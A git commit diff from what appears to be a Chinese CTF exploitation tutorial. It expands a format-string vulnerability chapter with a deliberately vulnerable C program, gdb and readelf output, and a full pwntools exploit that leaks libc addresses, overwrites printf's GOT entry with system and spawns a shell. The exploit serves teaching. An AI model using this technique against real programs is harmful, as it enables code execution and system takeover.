add dynelf.md

This commit is contained in:
firmianay 2017-08-24 01:21:05 +08:00
parent 0b9bc02dd8
commit ad2fce73a8
7 changed files with 107 additions and 13 deletions

View File

@ -46,6 +46,7 @@
- [4.1 AWD模式](doc/4.1_AWD.md)
- [4.2 Linux 命令行技巧](doc/4.2_Linux_terminal_tips.md)
- [4.3 GCC 堆栈保护技术](doc/4.3_gcc.md)
- [4.4 使用 DynELF 泄露函数地址](doc/4.4_dynelf.md)
- [五、高级篇](doc/5_advanced.md)
- [5.1 Fuzz 测试](doc/5.1_fuzz.md)

View File

@ -44,6 +44,7 @@
* [4.1 AWD模式](doc/4.1_AWD.md)
* [4.2 Linux 命令行技巧](doc/4.2_Linux_terminal_tips.md)
* [4.3 GCC 堆栈保护技术](doc/4.3_gcc.md)
* [4.4 使用 DynELF 泄露函数地址](doc/4.4_dynelf.md)
* [五、高级篇](doc/5_advanced.md)
* [5.1 Fuzz 测试](doc/5.1_fuzz.md)
* [5.2 Pin 动态二进制插桩](doc/5.2_pin.md)

View File

@ -75,6 +75,8 @@ C 运行库CRT是一套庞大的代码库以支撑程序能够正常地
glibc 即 GNU C Library是为 GNU 操作系统开发的一个 C 标准库。glibc 主要由两部分组成,一部分是头文件,位于 `/usr/include`;另一部分是库的二进制文件。二进制文件部分主要是 C 语言标准库,有动态和静态两个版本,动态版本位于 `/lib/libc.so.6`,静态版本位于 `/usr/lib/libc.a`
在漏洞利用的过程中,通常我们通过计算目标函数地址相对于已知函数地址在同一个 libc 中的偏移,来获得目标函数的虚拟地址,这时我们需要让本地的 libc 版本和远程的 libc 版本相同,可以先泄露几个函数的地址,然后在 [libcdb.com](http://libcdb.com/) 中进行搜索来得到。
## 整数表示
默认情况下C 语言中的数字是有符号数,下面我们声明一个有符号整数和无符号整数:

View File

@ -19,7 +19,7 @@ skanlite cantata kdenlive konversation libreoffice-still thunderbird-kde k3b cup
yaourt -S:
virtualbox tree git ipython ipython2 gdb google-chrome tcpdump vim wireshark-qt edb ssdeep wps-office strace metasploit pwntools peda oh-my-zsh-git radare2 binwalk burpsuite checksec
virtualbox tree git ipython ipython2 gdb google-chrome tcpdump vim wireshark-qt edb ssdeep wps-office strace metasploit pwntools peda oh-my-zsh-git radare2 binwalk burpsuite checksec netcat
pip3/pip2 install:

View File

@ -4,6 +4,7 @@
- [格式化字符串漏洞基本原理](#格式化字符串漏洞基本原理)
- [格式化字符串漏洞](#格式化字符串漏洞)
- [CTF 中的格式化字符串漏洞](#ctf-中的格式化字符串漏洞)
- [扩展阅读](#扩展阅读)
## 格式化输出函数和格式字符串
@ -300,7 +301,7 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
## CTF 中的格式化字符串漏洞
#### pwntools pwnlib.fmtster
#### pwntools pwnlib.fmtster 模块
文档地址http://pwntools.readthedocs.io/en/stable/fmtstr.html
@ -324,7 +325,7 @@ pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
- numbwritten (int):已经由 printf 函数写入的字节数
- write_size (str):必须是 byteshort 或 int。告诉你是要逐 byte 写,逐 short 写还是逐 int 写hhnhn或n
我们通过一个例子来熟悉下该模块的使用:[fmt.c](../src/Others/3.3.1_fmt.c) [fmt](../src/Other/3.3.1_fmt)
我们通过一个例子来熟悉下该模块的使用(任意地址内存读写)[fmt.c](../src/Others/3.3.1_fmt.c) [fmt](../src/Other/3.3.1_fmt)
```c
#include<stdio.h>
void main() {
@ -338,7 +339,7 @@ void main() {
}
```
为了简单一点,我们关闭 ASLR并使用下面的命令编译
为了简单一点,我们关闭 ASLR并使用下面的命令编译,关闭 PIE使得程序的 .text .bss 等段的内存地址固定
```
# echo 0 > /proc/sys/kernel/randomize_va_space
$ gcc -m32 -fno-stack-protector -no-pie fmt.c
@ -346,23 +347,90 @@ $ gcc -m32 -fno-stack-protector -no-pie fmt.c
很明显,程序存在格式化字符串漏洞,我们的思路是将 `printf()` 函数的地址改成 `system()` 函数的地址,这样当我们再次输入 `/bin/sh` 时,就可以获得 shell 了。
使用 gdb 调试,先在 `main` 处下断点,运行程序,这时 libc 已经被加载进来了,则可以打印出 `system()` 函数的地址
第一步先计算偏移,虽然 pwntools 中可以很方便地构造出 exp但这里我们还是先演示手工方法怎么做最后再用 pwntools 的方法。在 gdb 中,先在 `main` 处下断点,运行程序,这时 libc 已经被加载进来了。我们输入 "AAAA" 试一下
```text
gdb-peda$ b main
...
gdb-peda$ r
...
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xffffd1f0 ("AAAA\n")
EBX: 0x804a000 --> 0x8049f10 --> 0x1
ECX: 0xffffd1f0 ("AAAA\n")
EDX: 0x400
ESI: 0xf7f97000 --> 0x1bbd90
EDI: 0x0
EBP: 0xffffd5f8 --> 0x0
ESP: 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n")
EIP: 0x8048512 (<main+92>: call 0x8048370 <printf@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048508 <main+82>: sub esp,0xc
0x804850b <main+85>: lea eax,[ebp-0x408]
0x8048511 <main+91>: push eax
=> 0x8048512 <main+92>: call 0x8048370 <printf@plt>
0x8048517 <main+97>: add esp,0x10
0x804851a <main+100>: mov eax,DWORD PTR [ebx-0x4]
0x8048520 <main+106>: mov eax,DWORD PTR [eax]
0x8048522 <main+108>: sub esp,0xc
Guessed arguments:
arg[0]: 0xffffd1f0 ("AAAA\n")
[------------------------------------stack-------------------------------------]
0000| 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n")
0004| 0xffffd1e4 --> 0xffffd1f0 ("AAAA\n")
0008| 0xffffd1e8 --> 0x400
0012| 0xffffd1ec --> 0x80484d0 (<main+26>: add ebx,0x1b30)
0016| 0xffffd1f0 ("AAAA\n")
0020| 0xffffd1f4 --> 0xa ('\n')
0024| 0xffffd1f8 --> 0x0
0028| 0xffffd1fc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048512 in main ()
```
我们看到输入 `printf()` 的变量 `arg[0]: 0xffffd1f0 ("AAAA\n")` 在栈的第 5 行,除去第一个格式化字符串,即偏移量为 4。
读取重定位表获得 `printf()` 的 GOT 地址(第一列 Offset
```text
$ readelf -r a.out
Relocation section '.rel.dyn' at offset 0x2f4 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
08049ff8 00000406 R_386_GLOB_DAT 00000000 __gmon_start__
08049ffc 00000706 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0
Relocation section '.rel.plt' at offset 0x304 contains 5 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804a014 00000307 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a01c 00000607 R_386_JUMP_SLOT 00000000 memset@GLIBC_2.0
```
在 gdb 中获得 `printf()` 的虚拟地址:
```text
gdb-peda$ p printf
$1 = {<text variable, no debug info>} 0xf7e26bf0 <printf>
```
获得 `system()` 的虚拟地址:
```text
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e17060 <system>
```
完整漏洞利用代码如下:
好了,演示完怎样用手工的方式得到构造 exp 需要的信息,下面我们给出使用 pwntools 构造的完整漏洞利用代码:
```python
# -*- coding: utf-8 -*-
from pwn import *
elf = ELF('./a.out')
r = process('./a.out')
libc = ELF('/usr/lib32/libc.so.6')
# 计算偏移量
def exec_fmt(payload):
r.sendline(payload)
info = r.recv()
@ -370,20 +438,27 @@ def exec_fmt(payload):
auto = FmtStr(exec_fmt)
offset = auto.offset
print_got = elf.got['printf']
log.success("print_got => {}".format(hex(print_got)))
# 获得 printf 的 GOT 地址
printf_got = elf.got['printf']
log.success("printf_got => {}".format(hex(printf_got)))
system_addr = 0xf7e17060
# 获得 printf 的虚拟地址
payload = p32(printf_got) + '%{}$s'.format(offset)
r.send(payload)
printf_addr = u32(r.recv()[4:8])
log.success("printf_addr => {}".format(hex(printf_addr)))
# 获得 system 的虚拟地址
system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])
log.success("system_addr => {}".format(hex(system_addr)))
payload = fmtstr_payload(offset, {print_got : system_addr})
payload = fmtstr_payload(offset, {printf_got : system_addr})
r.send(payload)
r.send('/bin/sh')
r.recv()
r.interactive()
```
这样就获得了 shell
```text
$ python2 exp.py
[*] '/home/firmy/Desktop/RE4B/a.out'
@ -392,11 +467,24 @@ $ python2 exp.py
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './a.out': pid 15698
[+] Starting local process './a.out': pid 17375
[*] '/usr/lib32/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Found format string offset: 4
[+] print_got => 0x804a010
[+] printf_got => 0x804a010
[+] printf_addr => 0xf7e26bf0
[+] system_addr => 0xf7e17060
[*] Switching to interactive mode
$ echo "hacked!"
hacked!
```
这样我们就获得了 shell可以看到输出的信息和我们手工得到的信息完全相同。
# 扩展阅读
[Exploiting Sudo format string vunerability CVE-2012-0809](http://www.vnsecurity.net/research/2012/02/16/exploiting-sudo-format-string-vunerability.html)

1
doc/4.4_dynelf.md Normal file
View File

@ -0,0 +1 @@
# 使用 DynELF 泄露函数地址

View File

@ -3,3 +3,4 @@
- [4.1 AWD模式](4.1_AWD.md)
- [4.2 Linux 命令行技巧](4.2_Linux_terminal_tips.md)
- [4.3 GCC 堆栈保护技术](4.3_gcc.md)
- [4.4 使用 DynELF 泄露函数地址](4.4_dynelf.md)